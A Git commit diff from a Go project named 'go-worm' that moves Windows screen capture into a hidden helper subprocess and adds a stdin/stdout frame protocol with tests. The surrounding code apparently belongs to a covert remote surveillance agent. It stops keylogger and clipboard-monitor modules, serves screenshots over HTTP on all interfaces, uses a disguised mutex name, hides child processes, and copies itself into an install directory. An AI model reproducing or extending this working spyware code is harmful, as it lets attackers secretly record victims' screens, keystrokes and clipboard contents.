refactor(capture): screen capture in subprocess

- Move screen capture to child process
- Isolate GDI/BitBlt crashes from agent
- Use -capture flag for internal helper mode
- Add protocol for frame request/response
- Make monitor enumeration thread-safe

lib/agent/agent.go

@@ -11,6 +11,7 @@ import (
 	"strings"
 	"time"
 
+	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 	"tea.chunkbyte.com/kato/go-worm/lib/files"
@@ -73,6 +74,7 @@ func New(cfg Config) (*Agent, error) {
 func (a *Agent) Close() {
 	clipmon.Stop()
 	keylog.Stop()
+	capture.Stop()
 	if a.guard != nil {
 		a.guard.Close()
 	}

lib/agent/handlers.go

@@ -14,6 +14,7 @@ import (
 	"strings"
 	"time"
 
+	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/command"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 	"tea.chunkbyte.com/kato/go-worm/lib/files"
@@ -329,9 +330,9 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
 			return
 		}
 	}
-	frame, err := screenshot.CaptureMonitor(monitor, format, quality)
+	frame, err := capture.CaptureMonitor(monitor, format, quality)
 	if err != nil {
-		if errors.Is(err, screenshot.ErrMonitorNotFound) {
+		if errors.Is(err, capture.ErrMonitorNotFound) {
 			helpers.WriteError(w, http.StatusBadRequest, err.Error())
 			return
 		}

lib/capture/client_stub.go

@@ -0,0 +1,15 @@
+//go:build !windows
+
+package capture
+
+import (
+	"errors"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
+	return models.CapturedImage{}, errors.New("capture helper is windows-only")
+}
+
+func Stop() {}

lib/capture/client_windows.go

@@ -0,0 +1,153 @@
+//go:build windows
+
+package capture
+
+import (
+	"bufio"
+	"errors"
+	"fmt"
+	"os"
+	"os/exec"
+	"strings"
+	"sync"
+	"time"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+type helper struct {
+	cmd    *exec.Cmd
+	stdin  *os.File
+	stdout *os.File
+	reader *bufio.Reader
+	frames int
+}
+
+var (
+	mu      sync.Mutex
+	current *helper
+)
+
+// CaptureMonitor grabs a frame in a child process so GDI/BitBlt crashes
+// cannot take down the agent. The helper is recycled every CaptureRecycleFrames.
+func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) {
+	mu.Lock()
+	defer mu.Unlock()
+	img, err := current.grab(index, format, quality)
+	if err == nil {
+		return img, nil
+	}
+	err = mapCaptureErr(err)
+	if errors.Is(err, ErrMonitorNotFound) {
+		return models.CapturedImage{}, err
+	}
+	stopLocked()
+	img, err = current.grab(index, format, quality)
+	if err != nil {
+		stopLocked()
+		return models.CapturedImage{}, mapCaptureErr(err)
+	}
+	return img, nil
+}
+
+// Stop kills the capture helper. Safe to call if none is running.
+func Stop() {
+	mu.Lock()
+	defer mu.Unlock()
+	stopLocked()
+}
+
+func (h *helper) grab(index int, format string, quality int) (models.CapturedImage, error) {
+	if h == nil || h.cmd == nil || h.cmd.Process == nil {
+		var err error
+		current, err = startLocked()
+		if err != nil {
+			return models.CapturedImage{}, err
+		}
+		h = current
+	}
+	if h.frames >= config.CaptureRecycleFrames {
+		stopLocked()
+		var err error
+		current, err = startLocked()
+		if err != nil {
+			return models.CapturedImage{}, err
+		}
+		h = current
+	}
+	deadline := time.Now().Add(config.CaptureTimeout)
+	_ = h.stdin.SetWriteDeadline(deadline)
+	_ = h.stdout.SetReadDeadline(deadline)
+	if err := writeRequest(h.stdin, index, format, quality); err != nil {
+		return models.CapturedImage{}, err
+	}
+	img, err := readResponse(h.reader)
+	if err != nil {
+		return models.CapturedImage{}, err
+	}
+	h.frames++
+	return img, nil
+}
+
+func startLocked() (*helper, error) {
+	exe, err := os.Executable()
+	if err != nil {
+		return nil, err
+	}
+	inR, inW, err := os.Pipe()
+	if err != nil {
+		return nil, err
+	}
+	outR, outW, err := os.Pipe()
+	if err != nil {
+		_ = inR.Close()
+		_ = inW.Close()
+		return nil, err
+	}
+	cmd := exec.Command(exe, "-capture", "-skip-install")
+	cmd.Stdin = inR
+	cmd.Stdout = outW
+	cmd.Stderr = os.Stderr
+	cmd.SysProcAttr = helpers.HiddenSysProcAttr()
+	if err := cmd.Start(); err != nil {
+		_ = inR.Close()
+		_ = inW.Close()
+		_ = outR.Close()
+		_ = outW.Close()
+		return nil, fmt.Errorf("start capture helper: %w", err)
+	}
+	_ = inR.Close()
+	_ = outW.Close()
+	return &helper{
+		cmd:    cmd,
+		stdin:  inW,
+		stdout: outR,
+		reader: bufio.NewReader(outR),
+	}, nil
+}
+
+func stopLocked() {
+	h := current
+	current = nil
+	if h == nil {
+		return
+	}
+	_ = h.stdin.Close()
+	_ = h.stdout.Close()
+	if h.cmd != nil && h.cmd.Process != nil {
+		_ = h.cmd.Process.Kill()
+		_ = h.cmd.Wait()
+	}
+}
+
+func mapCaptureErr(err error) error {
+	if err == nil {
+		return nil
+	}
+	if strings.Contains(strings.ToLower(err.Error()), "monitor not found") {
+		return ErrMonitorNotFound
+	}
+	return err
+}

lib/capture/helper_stub.go

@@ -0,0 +1,5 @@
+//go:build !windows
+
+package capture
+
+func RunHelper() int { return 1 }

lib/capture/helper_windows.go

@@ -0,0 +1,56 @@
+//go:build windows
+
+package capture
+
+import (
+	"bufio"
+	"fmt"
+	"io"
+	"os"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
+)
+
+// RunHelper is the -capture process: one GDI grab per stdin request, then
+// the process can be killed without taking the agent down.
+func RunHelper() int {
+	in := bufio.NewReader(os.Stdin)
+	out := bufio.NewWriter(os.Stdout)
+	for {
+		monitor, format, quality, err := readRequest(in)
+		if err == io.EOF {
+			return 0
+		}
+		if err != nil {
+			_ = writeErr(out, err.Error())
+			_ = out.Flush()
+			return 1
+		}
+		img, err := grab(monitor, format, quality)
+		if err != nil {
+			if werr := writeErr(out, err.Error()); werr != nil {
+				return 1
+			}
+			if err := out.Flush(); err != nil {
+				return 1
+			}
+			continue
+		}
+		if err := writeFrame(out, img); err != nil {
+			return 1
+		}
+		if err := out.Flush(); err != nil {
+			return 1
+		}
+	}
+}
+
+func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
+	defer func() {
+		if r := recover(); r != nil {
+			err = fmt.Errorf("panic: %v", r)
+		}
+	}()
+	return screenshot.CaptureMonitor(monitor, format, quality)
+}

lib/capture/protocol.go

@@ -0,0 +1,98 @@
+package capture
+
+import (
+	"bufio"
+	"errors"
+	"fmt"
+	"io"
+	"strconv"
+	"strings"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+var ErrMonitorNotFound = errors.New("monitor not found")
+
+func writeRequest(w io.Writer, monitor int, format string, quality int) error {
+	_, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality)
+	return err
+}
+
+func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) {
+	line, err := r.ReadString('\n')
+	if err != nil {
+		return 0, "", 0, err
+	}
+	fields := strings.Fields(strings.TrimSpace(line))
+	if len(fields) != 4 || fields[0] != "C" {
+		return 0, "", 0, errors.New("bad capture request")
+	}
+	monitor, err = strconv.Atoi(fields[1])
+	if err != nil {
+		return 0, "", 0, err
+	}
+	format = fields[2]
+	quality, err = strconv.Atoi(fields[3])
+	if err != nil {
+		return 0, "", 0, err
+	}
+	return monitor, format, quality, nil
+}
+
+func writeFrame(w io.Writer, img models.CapturedImage) error {
+	if len(img.Data) > config.MaxCaptureBytes {
+		return errors.New("frame too large")
+	}
+	if _, err := fmt.Fprintf(w, "O %s %d %d %d %d %d\n",
+		strings.ReplaceAll(img.ContentType, " ", ""),
+		img.Left, img.Top, img.Width, img.Height, len(img.Data)); err != nil {
+		return err
+	}
+	_, err := w.Write(img.Data)
+	return err
+}
+
+func writeErr(w io.Writer, msg string) error {
+	msg = strings.ReplaceAll(strings.TrimSpace(msg), "\n", " ")
+	if msg == "" {
+		msg = "capture failed"
+	}
+	_, err := fmt.Fprintf(w, "E %s\n", msg)
+	return err
+}
+
+func readResponse(r *bufio.Reader) (models.CapturedImage, error) {
+	line, err := r.ReadString('\n')
+	if err != nil {
+		return models.CapturedImage{}, err
+	}
+	line = strings.TrimRight(line, "\r\n")
+	if strings.HasPrefix(line, "E ") {
+		return models.CapturedImage{}, errors.New(strings.TrimSpace(line[2:]))
+	}
+	fields := strings.Fields(line)
+	if len(fields) != 7 || fields[0] != "O" {
+		return models.CapturedImage{}, errors.New("bad capture response")
+	}
+	left, _ := strconv.Atoi(fields[2])
+	top, _ := strconv.Atoi(fields[3])
+	width, _ := strconv.Atoi(fields[4])
+	height, _ := strconv.Atoi(fields[5])
+	n, err := strconv.Atoi(fields[6])
+	if err != nil || n < 0 || n > config.MaxCaptureBytes {
+		return models.CapturedImage{}, errors.New("bad capture size")
+	}
+	data := make([]byte, n)
+	if _, err := io.ReadFull(r, data); err != nil {
+		return models.CapturedImage{}, err
+	}
+	return models.CapturedImage{
+		ContentType: fields[1],
+		Data:        data,
+		Left:        left,
+		Top:         top,
+		Width:       width,
+		Height:      height,
+	}, nil
+}

lib/capture/protocol_test.go

@@ -0,0 +1,53 @@
+package capture
+
+import (
+	"bufio"
+	"bytes"
+	"testing"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+func TestCaptureProtocolRoundTrip(t *testing.T) {
+	t.Parallel()
+	var buf bytes.Buffer
+	if err := writeRequest(&buf, 1, "jpeg", 40); err != nil {
+		t.Fatal(err)
+	}
+	mon, format, quality, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if mon != 1 || format != "jpeg" || quality != 40 {
+		t.Fatalf("request = %d %s %d", mon, format, quality)
+	}
+
+	buf.Reset()
+	want := models.CapturedImage{
+		ContentType: "image/jpeg",
+		Data:        []byte{0xff, 0xd8, '\n', 0x00, 0xff},
+		Left:        10, Top: 20, Width: 100, Height: 50,
+	}
+	if err := writeFrame(&buf, want); err != nil {
+		t.Fatal(err)
+	}
+	got, err := readResponse(bufio.NewReader(&buf))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.ContentType != want.ContentType || got.Left != want.Left || got.Width != want.Width || !bytes.Equal(got.Data, want.Data) {
+		t.Fatalf("frame mismatch: %#v", got)
+	}
+}
+
+func TestCaptureProtocolError(t *testing.T) {
+	t.Parallel()
+	var buf bytes.Buffer
+	if err := writeErr(&buf, "no displays found"); err != nil {
+		t.Fatal(err)
+	}
+	_, err := readResponse(bufio.NewReader(&buf))
+	if err == nil || err.Error() != "no displays found" {
+		t.Fatalf("err = %v", err)
+	}
+}

lib/config/config.go

@@ -13,6 +13,9 @@ const (
 	DefaultAddr                = "0.0.0.0:5032"
 	MutexName                  = "win64_mp_Mutex"
 	RestartDelay               = 3 * time.Second
+	CaptureRecycleFrames       = 100
+	CaptureTimeout             = 8 * time.Second
+	MaxCaptureBytes            = 32 << 20
 	RequestBodyMax             = 1 << 20
 	MaxUploadSize              = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
 	MaxListEntries             = 10000

lib/instance/args.go

@@ -14,6 +14,8 @@ func filterArgs(args []string) []string {
 			continue
 		case lower == "ensure" || strings.HasPrefix(lower, "ensure="):
 			continue
+		case lower == "capture" || strings.HasPrefix(lower, "capture="):
+			continue
 		}
 		out = append(out, arg)
 	}

lib/instance/args_test.go

@@ -7,7 +7,7 @@ import (
 
 func TestFilterArgsDropsLauncherFlags(t *testing.T) {
 	t.Parallel()
-	got := filterArgs([]string{"-ensure", "-background", "-foreground", "-addr", "0.0.0.0:5033"})
+	got := filterArgs([]string{"-ensure", "-background", "-foreground", "-capture", "-addr", "0.0.0.0:5033"})
 	want := []string{"-addr", "0.0.0.0:5033"}
 	if !reflect.DeepEqual(got, want) {
 		t.Fatalf("filterArgs() = %#v, want %#v", got, want)

lib/instance/console_windows.go

@@ -14,6 +14,7 @@ var (
 	procSetConsoleCtrl   = kernel32.NewProc("SetConsoleCtrlHandler")
 	procAllocConsole     = kernel32.NewProc("AllocConsole")
 	procGetStdHandle     = kernel32.NewProc("GetStdHandle")
+	procGetFileType      = kernel32.NewProc("GetFileType")
 	user32               = syscall.NewLazyDLL("user32.dll")
 	procShowWindow       = user32.NewProc("ShowWindow")
 	consoleCtrlCallback  uintptr
@@ -81,6 +82,9 @@ func consoleCtrlHandler(ctrlType uintptr) uintptr {
 }
 
 func redirectStdioToNul() {
+	if stdioIsPipe() {
+		return
+	}
 	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
 	if err != nil {
 		return
@@ -89,3 +93,12 @@ func redirectStdioToNul() {
 	os.Stdout = nul
 	os.Stderr = nul
 }
+
+func stdioIsPipe() bool {
+	const fileTypePipe = 3
+	stdin, _, _ := procGetStdHandle.Call(^uintptr(9))
+	stdout, _, _ := procGetStdHandle.Call(^uintptr(10))
+	inType, _, _ := procGetFileType.Call(stdin)
+	outType, _, _ := procGetFileType.Call(stdout)
+	return inType == fileTypePipe || outType == fileTypePipe
+}

lib/screenshot/screenshot.go

@@ -7,6 +7,7 @@ import (
 	"image/jpeg"
 	"image/png"
 	"runtime"
+	"sync"
 	"syscall"
 	"unsafe"
 
@@ -157,19 +158,30 @@ func attachInputDesktop() error {
 	return nil
 }
 
-func enumerateMonitors() ([]rect, error) {
+var (
-	var monitors []rect
+	enumMu  sync.Mutex
-	callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
+	enumBuf []rect
+	enumCB  = syscall.NewCallback(enumMonitor)
+)
+
+func enumMonitor(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
 	if monitorRect != 0 {
-			monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
+		enumBuf = append(enumBuf, *(*rect)(unsafe.Pointer(monitorRect)))
 	}
 	return 1
-	})
+}
-	ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
+
+func enumerateMonitors() ([]rect, error) {
+	enumMu.Lock()
+	defer enumMu.Unlock()
+	enumBuf = enumBuf[:0]
+	ok, _, err := procEnumDisplayMonitors.Call(0, 0, enumCB, 0)
 	if ok == 0 {
 		return nil, err
 	}
-	return monitors, nil
+	out := make([]rect, len(enumBuf))
+	copy(out, enumBuf)
+	return out, nil
 }
 
 func captureRect(r rect) (*image.RGBA, error) {

main.go

@@ -12,10 +12,12 @@ import (
 	"errors"
 	"flag"
 	"fmt"
+	"os"
 	"strings"
 	"time"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/agent"
+	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 	"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
 	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
@@ -39,8 +41,13 @@ func main() {
 	skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
 	parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
 	addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
+	captureMode := flag.Bool("capture", false, "run as screenshot helper (used internally)")
 	flag.Parse()
 
+	if *captureMode {
+		os.Exit(capture.RunHelper())
+	}
+
 	if *foreground {
 		instance.AllowConsoleKill()
 		instance.ShowConsole()